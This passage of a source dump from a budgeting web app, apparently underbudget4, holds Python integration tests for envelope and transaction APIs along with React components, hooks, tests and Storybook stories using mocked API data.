f\"/api/envelope-categories/{category_id}/envelopes\", json={key: value}\n )\n assert resp.status_code == 400\n\n @parameterized.expand(\n [\n (\"archived\",),\n (\"externalId\",),\n ]\n )\n def test_envelope_requires_non_null_optional_values(self, key):\n ledger_id = self.create_ledger()\n category_id = self.create_envelope_category(ledger_id)\n resp = self.client.post(\n f\"/api/envelope-categories/{category_id}/envelopes\",\n json={\"name\": \"Envelope\", key: None},\n )\n assert resp.status_code == 400\n\n def test_envelope_not_found(self):\n self._test_crud_methods_against_non_existent_resource(\n \"/api/envelopes\",\n {\"name\": \"Envelope\"},\n )\n\n def test_envelope_is_audited(self):\n ledger_id = self.create_ledger()\n category_id = self.create_envelope_category(ledger_id)\n self._test_resource_is_audited(\n f\"/api/envelope-categories/{category_id}/envelopes\",\n \"/api/envelopes\",\n {\"categoryId\": category_id, \"name\": \"Envelope\"},\n )\n\n def test_envelope_modification(self):\n ledger_id = self.create_ledger()\n category_id = self.create_envelope_category(ledger_id)\n resp = self.client.post(\n f\"/api/envelope-categories/{category_id}/envelopes\",\n json={\"name\": \"Original Name\"},\n )\n assert resp.status_code == 201\n envelope_id = json.loads(resp.data).get(\"id\")\n\n resp = self.client.get(f\"/api/envelopes/{envelope_id}\")\n assert resp.status_code == 200\n body = json.loads(resp.data)\n assert body.get(\"name\") == \"Original Name\"\n assert not body.get(\"archived\")\n assert body.get(\"externalId\") == \"\"\n\n resp = self.client.put(\n f\"/api/envelopes/{envelope_id}\",\n json={\n \"categoryId\": category_id,\n \"name\": \"Modified Name\",\n \"archived\": True,\n \"externalId\": \"tk-421\",\n },\n )\n assert resp.status_code == 200\n\n resp = self.client.get(f\"/api/envelopes/{envelope_id}\")\n assert resp.status_code == 200\n body = json.loads(resp.data)\n assert body.get(\"name\") == \"Modified Name\"\n assert body.get(\"archived\")\n assert body.get(\"externalId\") == \"tk-421\"\n\n def test_envelope_deletion(self):\n ledger_id = self.create_ledger()\n category_id = self.create_envelope_category(ledger_id)\n envelope_id = self.create_envelope(category_id)\n assert self.client.get(f\"/api/envelopes/{envelope_id}\").status_code == 200\n assert self.client.delete(f\"/api/envelopes/{envelope_id}\").status_code == 204\n assert self.client.get(f\"/api/envelopes/{envelope_id}\").status_code == 404\n\n def test_fetch_all_envelope_categories(self):\n ledger_id = self.create_ledger()\n cat1_id = self.create_envelope_category(ledger_id, \"Category 1\")\n cat2_id = self.create_envelope_category(ledger_id, \"Category 2\")\n cat3_id = self.create_envelope_category(ledger_id, \"Category 3\")\n acct1_id = self.create_envelope(cat2_id, \"Envelope 1\")\n acct2_id = self.create_envelope(cat1_id, \"Envelope 2\")\n acct3_id = self.create_envelope(cat2_id, \"Envelope 3\")\n\n resp = self.client.get(f\"/api/ledgers/{ledger_id}/envelope-categories\")\n assert resp.status_code == 200\n body = json.loads(resp.data)\n\n assert [cat1_id, cat2_id, cat3_id] == [\n m.value for m in parse(\"categories[*].id\").find(body)\n ]\n assert [\"Category 1\", \"Category 2\", \"Category 3\"] == [\n m.value for m in parse(\"categories[*].name\").find(body)\n ]\n\n sub = parse(f\"$.categories[?id={cat1_id}]\").find(body)\n assert sub is not None and len(sub) == 1\n assert sub[0].value.get(\"name\") == \"Category 1\"\n assert len(sub[0].value.get(\"envelopes\")) == 1\n assert sub[0].value.get(\"envelopes\")[0].get(\"id\") == acct2_id\n assert sub[0].value.get(\"envelopes\")[0].get(\"name\") == \"Envelope 2\"\n assert not sub[0].value.get(\"envelopes\")[0].get(\"archived\")\n\n sub = parse(f\"$.categories[?id={cat2_id}]\").find(body)\n assert sub is not None and len(sub) == 1\n assert sub[0].value.get(\"name\") == \"Category 2\"\n assert len(sub[0].value.get(\"envelopes\")) == 2\n\n acct = parse(f\"$.envelopes[?id={acct1_id}]\").find(sub[0].value)\n assert acct is not None and len(acct) == 1\n assert acct[0].value.get(\"id\") == acct1_id\n assert acct[0].value.get(\"name\") == \"Envelope 1\"\n assert not acct[0].value.get(\"archived\")\n\n acct = parse(f\"$.envelopes[?id={acct3_id}]\").find(sub[0].value)\n assert acct is not None and len(acct) == 1\n assert acct[0].value.get(\"id\") == acct3_id\n assert acct[0].value.get(\"name\") == \"Envelope 3\"\n assert not acct[0].value.get(\"archived\")\n\n sub = parse(f\"$.categories[?id={cat3_id}]\").find(body)\n assert sub is not None and len(sub) == 1\n assert sub[0].value.get(\"name\") == \"Category 3\"\n assert len(sub[0].value.get(\"envelopes\")) == 0\n\n def test_move_envelope_to_category(self):\n ledger_id = self.create_ledger()\n ledger2_id = self.create_ledger()\n cat1_id = self.create_envelope_category(ledger_id)\n cat2_id = self.create_envelope_category(ledger_id)\n cat3_id = self.create_envelope_category(ledger2_id)\n env_id = self.create_envelope(cat1_id)\n\n resp = self.client.get(f\"/api/ledgers/{ledger_id}/envelope-categories\")\n assert resp.status_code == 200\n\n sub = parse(f\"$.categories[?id={cat1_id}]\").find(resp.json)\n assert sub is not None and len(sub) == 1\n assert len(sub[0].value.get(\"envelopes\")) == 1\n assert sub[0].value.get(\"envelopes\")[0].get(\"id\") == env_id\n\n sub = parse(f\"$.categories[?id={cat2_id}]\").find(resp.json)\n assert sub is not None and len(sub) == 1\n assert len(sub[0].value.get(\"envelopes\")) == 0\n\n resp = self.client.put(\n f\"/api/envelopes/{env_id}\",\n json={\"categoryId\": cat3_id, \"name\": \"Envelope\"},\n )\n assert resp.status_code == 400\n\n resp = self.client.put(\n f\"/api/envelopes/{env_id}\",\n json={\"categoryId\": cat2_id, \"name\": \"Envelope\"},\n )\n assert resp.status_code == 200\n\n resp = self.client.get(f\"/api/ledgers/{ledger_id}/envelope-categories\")\n assert resp.status_code == 200\n\n sub = parse(f\"$.categories[?id={cat1_id}]\").find(resp.json)\n assert sub is not None and len(sub) == 1\n assert len(sub[0].value.get(\"envelopes\")) == 0\n\n sub = parse(f\"$.categories[?id={cat2_id}]\").find(resp.json)\n assert sub is not None and len(sub) == 1\n assert len(sub[0].value.get(\"envelopes\")) == 1\n assert sub[0].value.get(\"envelopes\")[0].get(\"id\") == env_id\n\n def test_envelope_category_deletion_fails_with_child_envelopes(self):\n ledger_id = self.create_ledger()\n category_id = self.create_envelope_category(ledger_id)\n envelope_id = self.create_envelope(category_id)\n\n assert (\n self.client.delete(f\"/api/envelope-categories/{category_id}\").status_code\n == 409\n )\n assert self.client.get(f\"/api/envelopes/{envelope_id}\").status_code == 200\n\n def test_ledger_deletion_cascades_to_envelope_categories(self):\n ledger_id = self.create_ledger()\n category_id = self.create_envelope_category(ledger_id)\n envelope_id = self.create_envelope(category_id)\n\n assert (\n self.client.get(f\"/api/envelope-categories/{category_id}\").status_code\n == 200\n )\n assert self.client.get(f\"/api/envelopes/{envelope_id}\").status_code == 200\n assert self.client.delete(f\"/api/ledgers/{ledger_id}\").status_code == 204\n assert (\n self.client.get(f\"/api/envelope-categories/{category_id}\").status_code\n == 404\n )\n assert self.client.get(f\"/api/envelopes/{envelope_id}\").status_code == 404\n" }, { "alpha_fraction": 0.6764150857925415, "alphanum_fraction": 0.6877358555793762, "avg_line_length": 32.125, "blob_id": "77d5f8d70b7350c3e0467b71e193e42d4efac03e", "content_id": "c428f39bed01be87a18fc010521427c49354a3b1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1060, "license_type": "permissive", "max_line_length": 72, "num_lines": 32, "path": "/webapp/src/features/transactions/components/TransactionIcon.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "/* eslint-disable react/jsx-props-no-spreading */\n\nimport { green, red, purple } from '@material-ui/core/colors';\nimport ArrowDownwardIcon from '@material-ui/icons/ArrowDownward';\nimport ArrowUpwardIcon from '@material-ui/icons/ArrowUpward';\nimport SwapHorizIcon from '@material-ui/icons/SwapHoriz';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nimport types, { testIfType } from '../utils/transaction-types';\n\nconst TransactionIcon = ({ type, ...props }) => {\n if (testIfType.isIncome(type)) {\n return <ArrowUpwardIcon style={{ color: green[500] }} {...props} />;\n }\n if (testIfType.isExpense(type)) {\n return <ArrowDownwardIcon style={{ color: red[500] }} {...props} />;\n }\n if (testIfType.isTransfer(type)) {\n return <SwapHorizIcon style={{ color: purple[500] }} {...props} />;\n }\n if (testIfType.isAllocation(type)) {\n return <SwapHorizIcon style={{ color: purple[500] }} {...props} />;\n }\n return null;\n};\n\nTransactionIcon.propTypes = {\n type: PropTypes.oneOf(types).isRequired,\n};\n\nexport default TransactionIcon;\n" }, { "alpha_fraction": 0.6794871687889099, "alphanum_fraction": 0.6794871687889099, "avg_line_length": 14.600000381469727, "blob_id": "d3302b3c9d5207f35f122832b929ed1f557201f5", "content_id": "4cdc7bb8b0efc9acdd7edd9e512c8ccf3f15957c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 156, "license_type": "permissive", "max_line_length": 28, "num_lines": 10, "path": "/backend/setup.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "from setuptools import setup\n\nsetup(\n name='underbudget',\n packages=['underbudget'],\n include_package_data=True,\n install_requires=[\n 'flask'\n ],\n)\n" }, { "alpha_fraction": 0.80756014585495, "alphanum_fraction": 0.80756014585495, "avg_line_length": 28.100000381469727, "blob_id": "b6d69213f3286187b15dba10f42e982b52c929ef", "content_id": "dc8f78c82a06b1c6065399be65d68508482b53af", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 291, "license_type": "permissive", "max_line_length": 61, "num_lines": 10, "path": "/webapp/src/features/envelopes/utils/envelope-category-prop-types.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import PropTypes from 'prop-types';\n\nimport EnvelopePropTypes from './envelope-prop-types';\n\nconst envelopeCategoryPropTypes = PropTypes.shape({\n envelopes: PropTypes.arrayOf(EnvelopePropTypes).isRequired,\n name: PropTypes.string.isRequired,\n});\n\nexport default envelopeCategoryPropTypes;\n" }, { "alpha_fraction": 0.6748490929603577, "alphanum_fraction": 0.6905432343482971, "avg_line_length": 34, "blob_id": "4679a384450ce643b69e80e0dbb0105998bbe411", "content_id": "a28954876e0e50e0dd1ef7fca95e95277df24837", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2485, "license_type": "permissive", "max_line_length": 89, "num_lines": 71, "path": "/webapp/src/features/budgets/components/__tests__/IncomeSummary.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { configure, screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\n\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport renderWithRouter from 'test/renderWithRouter';\nimport setupMockApi from 'test/setupMockApi';\nimport IncomeSummary from '../IncomeSummary';\n\nconst render = (incomes, code = 200) => {\n configure({ defaultHidden: true });\n\n setSelectedLedger('2');\n\n const mockApi = setupMockApi({ delayResponse: 0 });\n mockApi.onGet('/api/budgets/5/periodic-incomes').reply(code, { incomes });\n\n const queryClient = new QueryClient({\n defaultOptions: {\n queries: { retry: false },\n },\n });\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <IncomeSummary budgetId={5} />\n </QueryClientProvider>,\n ),\n mockApi,\n queryClient,\n };\n};\n\ntest('should show error message when unable to retrieve incomes', async () => {\n render([], 404);\n await waitFor(() => expect(screen.getByRole('alert')).toBeInTheDocument());\n expect(screen.getByText(/unable to retrieve/i)).toBeInTheDocument();\n});\n\ntest('should show info message when no incomes exist', async () => {\n render([], 200);\n await waitFor(() => expect(screen.getByRole('alert')).toBeInTheDocument());\n expect(screen.getByText(/no incomes/i)).toBeInTheDocument();\n});\n\ntest('should show periodic incomes in summary', async () => {\n const incomes = [\n { id: 3, name: 'First Income', amount: 123456, testAmount: '$1,234.56' },\n { id: 7, name: 'Second Income', amount: 654321, testAmount: '$6,543.21' },\n ];\n render(incomes);\n expect(screen.getByRole('progressbar')).toBeInTheDocument();\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n\n const listItems = screen.queryAllByRole('listitem');\n expect(listItems).toHaveLength(incomes.length);\n\n incomes.forEach((income, i) => {\n expect(listItems[i]).toHaveTextContent(income.name);\n expect(listItems[i]).toHaveTextContent(income.testAmount);\n });\n});\n\ntest('should navigate to incomes route on button click', async () => {\n const { history } = render([]);\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n userEvent.click(screen.getByRole('button', { name: /go to budget incomes/i }));\n expect(history.location.pathname).toBe('/incomes');\n});\n" }, { "alpha_fraction": 0.6958041787147522, "alphanum_fraction": 0.6958041787147522, "avg_line_length": 34.75, "blob_id": "c774a5ae5cfd144ff597a25e968715ad1887730f", "content_id": "5e2b5c24757cfe9b1bcbb081a8ada3aa7169044b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 572, "license_type": "permissive", "max_line_length": 100, "num_lines": 16, "path": "/webapp/src/features/accounts/hooks/useCreateAccount.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import axios from 'axios';\nimport useErrorMessage from 'common/hooks/useErrorMessage';\nimport useMutation from 'common/hooks/useMutation';\nimport useSelectedLedger from 'common/hooks/useSelectedLedger';\n\nexport default (opts) => {\n const ledger = useSelectedLedger();\n return useMutation(\n ({ categoryId, ...data }) => axios.post(`/api/account-categories/${categoryId}/accounts`, data),\n {\n createErrorMessage: useErrorMessage({ request: 'Unable to create account' }),\n refetchQueries: [['account-categories', { ledger }]],\n ...opts,\n },\n );\n};\n" }, { "alpha_fraction": 0.6787564754486084, "alphanum_fraction": 0.6883789896965027, "avg_line_length": 26.020000457763672, "blob_id": "ffce3f1ce1b7b37544c2c473fc52405f6c47c3a4", "content_id": "e98a2103fe57f7def1b09ee1078984c2c870d4ea", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1351, "license_type": "permissive", "max_line_length": 90, "num_lines": 50, "path": "/webapp/src/common/components/TablePagination/TablePagination.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import MuiTablePagination from '@material-ui/core/TablePagination';\nimport PropTypes from 'prop-types';\nimport React from 'react';\nimport { useSearchParams } from 'react-router-dom';\n\nimport useMobile from '../../hooks/useMobile';\n\nconst TablePagination = ({ count, defaultSize, labelRowsPerPage }) => {\n const [searchParams, setSearchParams] = useSearchParams({ page: 1, size: defaultSize });\n const mobile = useMobile();\n\n const page = parseInt(searchParams.get('page'), 10);\n const size = parseInt(searchParams.get('size'), 10);\n\n const handleChangePage = (e, newPage) =>\n setSearchParams({\n page: newPage + 1, // TablePagination is 0-based\n size,\n });\n\n const handleChangeRowsPerPage = (e) =>\n setSearchParams({\n page: 1,\n size: parseInt(e.target.value, 10),\n });\n\n return (\n <MuiTablePagination\n component='div'\n count={count}\n labelRowsPerPage={mobile ? null : labelRowsPerPage}\n onChangePage={handleChangePage}\n onChangeRowsPerPage={handleChangeRowsPerPage}\n page={page - 1} // zero-based\n rowsPerPage={size}\n />\n );\n};\n\nTablePagination.propTypes = {\n count: PropTypes.number.isRequired,\n defaultSize: PropTypes.number,\n labelRowsPerPage: PropTypes.string.isRequired,\n};\n\nTablePagination.defaultProps = {\n defaultSize: 10,\n};\n\nexport default TablePagination;\n" }, { "alpha_fraction": 0.6962025165557861, "alphanum_fraction": 0.7215189933776855, "avg_line_length": 12.333333015441895, "blob_id": "8cb9773fc8117621452099a9a170ada07ba3e162", "content_id": "e6e18811d0ac3e1bcdfda7b9adb3a1a845fe0b10", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 79, "license_type": "permissive", "max_line_length": 26, "num_lines": 6, "path": "/backend/.coveragerc", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "[run]\nomit = underbudget/tests/*\nsource = underbudget\n\n[report]\nfail_under = 95" }, { "alpha_fraction": 0.5731950402259827, "alphanum_fraction": 0.6039090752601624, "avg_line_length": 29.204818725585938, "blob_id": "472639d3c47203e3a4aabfc2b012fdc064ba130f", "content_id": "c3704d95da9287993d404a93d7ecab2315068f12", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2507, "license_type": "permissive", "max_line_length": 96, "num_lines": 83, "path": "/webapp/src/features/envelopes/routes/__stories__/EnvelopeTransactionsPage.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import axios from 'axios';\nimport MockAdapter from 'axios-mock-adapter';\nimport React from 'react';\nimport { Route, Routes } from 'react-router-dom';\n\nimport AppProviders from 'common/components/AppProviders';\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport { transactionGenerator } from 'test/data-generators';\nimport EnvelopeTransactionsPage from '../EnvelopeTransactionsPage';\n\nexport default {\n title: 'envelopes/EnvelopeTransactionsPage',\n component: EnvelopeTransactionsPage,\n decorators: [\n (story) => (\n <Routes>\n <Route path='envelope/:id/*' element={story()} />\n </Routes>\n ),\n (story) => <AppProviders>{story()}</AppProviders>,\n (story, { parameters }) => {\n const { currency = 840, delayResponse = 1000, hasTransactions = true } = parameters;\n\n setSelectedLedger('2');\n\n const mockAxios = new MockAdapter(axios, { delayResponse });\n\n // Ledger\n mockAxios.onGet('/api/ledgers/2').reply(200, { currency });\n\n // Envelope\n mockAxios.onGet('/api/envelopes/3').reply(200, {\n name: 'Entertainment',\n });\n mockAxios\n .onGet('/api/envelopes/3/balance')\n .reply(200, hasTransactions ? { balance: 51244, total: 12 } : { balance: 0, total: 0 });\n\n // Transactions\n if (hasTransactions) {\n mockAxios.onGet(/\\/api\\/envelopes\\/3\\/transactions.*/).reply(200, {\n transactions: [...Array(12)].map(transactionGenerator),\n page: 1,\n size: 25,\n total: 12,\n });\n mockAxios.onGet(/\\/api\\/transactions\\/\\d+/).reply(200, {\n recordedDate: '2021-05-13',\n payee: 'Vendor Name',\n accountTransactions: [{ id: 2, accountId: 2, memo: '', amount: -1450 }],\n envelopeTransactions: [{ id: 5, envelopeId: 2, memo: '', amount: -1450 }],\n });\n } else {\n mockAxios.onGet(/\\/api\\/envelopes\\/3\\/transactions.*/).reply(200, {\n transactions: [],\n page: 1,\n size: 25,\n total: 0,\n });\n mockAxios.onDelete('/api/envelopes/3').reply(204);\n }\n\n return story();\n },\n ],\n parameters: {\n initialRoute: '/envelope/3',\n },\n};\n\nconst Template = () => <EnvelopeTransactionsPage />;\n\nexport const Full = Template.bind({});\n\nexport const Mobile = Template.bind({});\nMobile.parameters = {\n viewport: { defaultViewport: 'mobile1' },\n};\n\nexport const NoTransactions = Template.bind({});\nNoTransactions.parameters = {\n hasTransactions: false,\n};\n" }, { "alpha_fraction": 0.7251585721969604, "alphanum_fraction": 0.7251585721969604, "avg_line_length": 26.823530197143555, "blob_id": "7124e54ad1a08c7f3c91aee1a54242ad937fd877", "content_id": "5da62c1ee66a4b00833cbd0401832b4a320c6d25", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 473, "license_type": "permissive", "max_line_length": 54, "num_lines": 17, "path": "/webapp/src/common/components/CheckboxWithTooltip/CheckboxWithTooltip.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import Checkbox from '@material-ui/core/Checkbox';\nimport Tooltip from '@material-ui/core/Tooltip';\nimport { fieldToCheckbox } from 'formik-material-ui';\nimport React from 'react';\nimport PropTypes from 'prop-types';\n\nconst CheckboxWithTooltip = ({ title, ...props }) => (\n <Tooltip title={title}>\n <Checkbox {...fieldToCheckbox(props)} />\n </Tooltip>\n);\n\nCheckboxWithTooltip.propTypes = {\n title: PropTypes.string.isRequired,\n};\n\nexport default CheckboxWithTooltip;\n" }, { "alpha_fraction": 0.607201337814331, "alphanum_fraction": 0.6088379621505737, "avg_line_length": 26.155555725097656, "blob_id": "5958e56d11df5ef48856934cd89545f1a3c7eb46", "content_id": "0a883ffb0a698827d538405d1a9dd1f0be8792b2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1222, "license_type": "permissive", "max_line_length": 98, "num_lines": 45, "path": "/webapp/src/features/budgets/hooks/useFetchBudgetedExpenses.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import axios from 'axios';\nimport sortBy from 'lodash/sortBy';\nimport React from 'react';\nimport { useQuery } from 'react-query';\n\nimport useErrorMessage from 'common/hooks/useErrorMessage';\nimport { useEnvelopeName } from 'features/envelopes';\n\nexport default ({ budgetId, period }, opts) => {\n const createErrorMessage = useErrorMessage({ request: 'Unable to retrieve budgeted expenses' });\n const envelopeName = useEnvelopeName();\n\n const { data, error, status } = useQuery(\n ['budgeted-expenses', { budgetId, period }],\n async () => {\n const { data: resp } = await axios.get(\n `/api/budgets/${budgetId}/budgeted-expenses/${period}`,\n );\n return resp;\n },\n { enabled: !!budgetId, ...opts },\n );\n\n const expenses = React.useMemo(() => {\n if (!data) {\n return [];\n }\n return sortBy(\n Object.keys(data.expensesByEnvelopeId)\n .map((id) => parseInt(id, 10))\n .map((envelopeId) => ({\n envelopeId,\n name: envelopeName(envelopeId),\n amount: data.expensesByEnvelopeId[envelopeId],\n })),\n ['name'],\n );\n }, [data, envelopeName]);\n\n return {\n error: createErrorMessage(error),\n expenses,\n status,\n };\n};\n" }, { "alpha_fraction": 0.6731875538825989, "alphanum_fraction": 0.6731875538825989, "avg_line_length": 32.42307662963867, "blob_id": "c725fdb367c2ed2d299c8b14609dec92c0f58cba", "content_id": "8588b77dea0caea9591fb0d9eb1a607e1a4509b6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 869, "license_type": "permissive", "max_line_length": 96, "num_lines": 26, "path": "/webapp/src/features/reconciliations/hooks/useConfirmToDeleteReconciliation.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import useConfirmation from 'common/hooks/useConfirmation';\nimport useNavigateKeepingSearch from 'common/hooks/useNavigateKeepingSearch';\nimport formatDate from 'common/utils/formatDate';\nimport useDeleteReconciliation from './useDeleteReconciliation';\n\nexport default ({ accountId, beginningDate, endingDate, id, parentRoute }) => {\n const confirm = useConfirmation();\n const navigate = useNavigateKeepingSearch();\n const { mutate } = useDeleteReconciliation({\n onSuccess: () => navigate(parentRoute),\n });\n\n if (accountId && id) {\n return () =>\n confirm({\n message: [\n `Delete reconciliation for ${formatDate(beginningDate)} - ${formatDate(endingDate)}?`,\n 'This action is permanent and cannot be undone.',\n ],\n }).then(() => {\n mutate({ accountId, reconciliationId: id });\n });\n }\n\n return null;\n};\n" }, { "alpha_fraction": 0.37512338161468506, "alphanum_fraction": 0.5095632076263428, "avg_line_length": 50.617835998535156, "blob_id": "588879636653e5e33b86a73f9ed2ca9ec61aec69", "content_id": "29a3f109b6ce462056d382ef038da9599dd5cccf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 16208, "license_type": "permissive", "max_line_length": 88, "num_lines": 314, "path": "/backend/underbudget/tests/test_transaction_retrieval.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Integration tests for transaction retrieval APIs \"\"\"\nfrom underbudget.tests.base import BaseTestCase\n\n\nclass TransactionRetrievalTestCase(BaseTestCase):\n \"\"\" Integration tests for transaction retrieval APIs \"\"\"\n\n # pylint: disable=too-many-arguments\n def create_transaction(\n self,\n recorded_date,\n payee,\n ledger_id,\n account_id,\n envelope_id,\n amount,\n memo=\"\",\n cleared=False,\n ):\n \"\"\" Create a transaction using the REST API \"\"\"\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/transactions\",\n json={\n \"recordedDate\": recorded_date,\n \"payee\": payee,\n \"accountTransactions\": [\n {\n \"accountId\": account_id,\n \"amount\": amount,\n \"memo\": memo,\n \"cleared\": cleared,\n },\n ],\n \"envelopeTransactions\": [\n {\n \"envelopeId\": envelope_id,\n \"amount\": amount,\n \"memo\": memo,\n },\n ],\n },\n )\n assert resp.status_code == 201\n\n def create_transaction_history(self):\n \"\"\" Create a set of transactions with two accounts and two envelopes \"\"\"\n # pylint: disable=invalid-name\n l = self.create_ledger()\n acct_cat_id = self.create_account_category(l)\n a1 = self.create_account(acct_cat_id)\n a2 = self.create_account(acct_cat_id)\n env_cat_id = self.create_envelope_category(l)\n e1 = self.create_envelope(env_cat_id)\n e2 = self.create_envelope(env_cat_id)\n\n transactions = [\n [\"2021-04-01\", \"Vendor A\", l, a1, e1, 10000, \"\", True],\n [\"2021-04-02\", \"Vendor B\", l, a2, e1, -1000, \"\", True],\n [\"2021-04-02\", \"Vendor C\", l, a1, e2, -1000, \"Note 1\", True],\n [\"2021-04-01\", \"Vendor A\", l, a1, e1, -1500, \"\", True],\n [\"2021-04-03\", \"Vendor B\", l, a2, e2, -1000, \"\", True],\n [\"2021-04-04\", \"Vendor C\", l, a1, e1, -1000, \"Note 2\", True],\n [\"2021-04-06\", \"Vendor C\", l, a2, e1, 10000, \"Note 3\", True],\n [\"2021-04-06\", \"Vendor B\", l, a1, e2, -1000, \"\", True],\n [\"2021-04-07\", \"Vendor A\", l, a1, e1, -1000, \"\", True],\n [\"2021-04-08\", \"Vendor C\", l, a2, e2, -1500, \"Note 4\", True],\n [\"2021-04-10\", \"Vendor B\", l, a1, e1, -1000, \"\", True],\n [\"2021-04-11\", \"Vendor C\", l, a2, e1, -1000, \"Note 5\", False],\n [\"2021-04-14\", \"Vendor A\", l, a1, e2, 10000, \"\", False],\n [\"2021-04-14\", \"Vendor B\", l, a1, e1, -1000, \"\", False],\n [\"2021-04-14\", \"Vendor A\", l, a2, e2, -1000, \"\", False],\n [\"2021-04-14\", \"Vendor B\", l, a1, e1, -1500, \"\", False],\n [\"2021-04-15\", \"Vendor B\", l, a2, e1, -1000, \"\", False],\n [\"2021-04-15\", \"Vendor B\", l, a1, e2, -1000, \"\", False],\n [\"2021-04-12\", \"Vendor C\", l, a1, e1, 10000, \"Note 6\", False],\n [\"2021-04-17\", \"Vendor B\", l, a2, e2, -1000, \"\", False],\n [\"2021-04-17\", \"Vendor B\", l, a1, e1, -1000, \"\", False],\n [\"2021-04-19\", \"Vendor C\", l, a2, e1, -1500, \"Note 7\", False],\n [\"2021-04-20\", \"Vendor B\", l, a1, e2, -1000, \"\", False],\n [\"2021-04-21\", \"Vendor A\", l, a1, e1, -1000, \"\", False],\n [\"2021-04-20\", \"Vendor A\", l, a2, e2, 10000, \"\", False],\n [\"2021-04-21\", \"Vendor B\", l, a1, e1, -1000, \"\", False],\n [\"2021-04-21\", \"Vendor A\", l, a2, e1, -1000, \"\", False],\n [\"2021-04-22\", \"Vendor C\", l, a1, e2, -1500, \"Note 8\", False],\n [\"2021-04-24\", \"Vendor B\", l, a1, e1, -1000, \"\", False],\n [\"2021-04-24\", \"Vendor A\", l, a2, e2, -1000, \"\", False],\n [\"2021-04-26\", \"Vendor B\", l, a1, e1, 10000, \"\", False],\n [\"2021-04-27\", \"Vendor C\", l, a2, e1, -1000, \"Note 9\", False],\n [\"2021-04-26\", \"Vendor A\", l, a1, e2, -1000, \"\", False],\n [\"2021-04-28\", \"Vendor B\", l, a1, e1, -1500, \"\", False],\n [\"2021-04-28\", \"Vendor C\", l, a2, e2, -1000, \"Note 10\", False],\n [\"2021-04-28\", \"Vendor A\", l, a1, e1, -1000, \"\", False],\n [\"2021-04-29\", \"Vendor B\", l, a2, e1, 10000, \"\", False],\n [\"2021-04-30\", \"Vendor A\", l, a1, e2, -1000, \"\", False],\n [\"2021-04-03\", \"Vendor B\", l, a1, e1, -1000, \"\", True],\n [\"2021-04-29\", \"Vendor C\", l, a2, e2, -1500, \"Note 11\", False],\n ]\n\n for trn in transactions:\n self.create_transaction(*trn)\n\n return {\n \"ledger_id\": l,\n \"acct_id_1\": a1,\n \"acct_id_2\": a2,\n \"env_id_1\": e1,\n \"env_id_2\": e2,\n }\n\n @staticmethod\n def check_transaction_history(actual, transactions, page, size, total):\n \"\"\" Verify that received transaction history matches the expected history \"\"\"\n assert actual[\"page\"] == page\n assert actual[\"size\"] == size\n assert actual[\"total\"] == total\n assert len(actual[\"transactions\"]) == len(transactions)\n for i, expected_trn in enumerate(transactions):\n if len(expected_trn) == 7:\n (date, payee, trn_type, amount, balance, memo, cleared) = expected_trn\n else:\n cleared = None\n (date, payee, trn_type, amount, balance, memo) = expected_trn\n actual_trn = actual[\"transactions\"][i]\n assert actual_trn.get(\"id\") is not None\n assert actual_trn.get(\"transactionId\") is not None\n assert date == actual_trn.get(\"recordedDate\")\n assert payee == actual_trn.get(\"payee\")\n assert trn_type == actual_trn.get(\"type\")\n assert amount == actual_trn.get(\"amount\")\n assert balance == actual_trn.get(\"balance\")\n assert memo == actual_trn.get(\"memo\")\n if cleared is not None:\n assert cleared == actual_trn.get(\"cleared\")\n\n def test_account_transaction_history(self):\n acct_1_transactions = [\n [\"2021-04-30\", \"Vendor A\", \"expense\", -1000, 18000, \"\", False],\n [\"2021-04-28\", \"Vendor A\", \"expense\", -1000, 19000, \"\", False],\n [\"2021-04-28\", \"Vendor B\", \"expense\", -1500, 20000, \"\", False],\n [\"2021-04-26\", \"Vendor A\", \"expense\", -1000, 21500, \"\", False],\n [\"2021-04-26\", \"Vendor B\", \"income\", 10000, 22500, \"\", False],\n [\"2021-04-24\", \"Vendor B\", \"expense\", -1000, 12500, \"\", False],\n 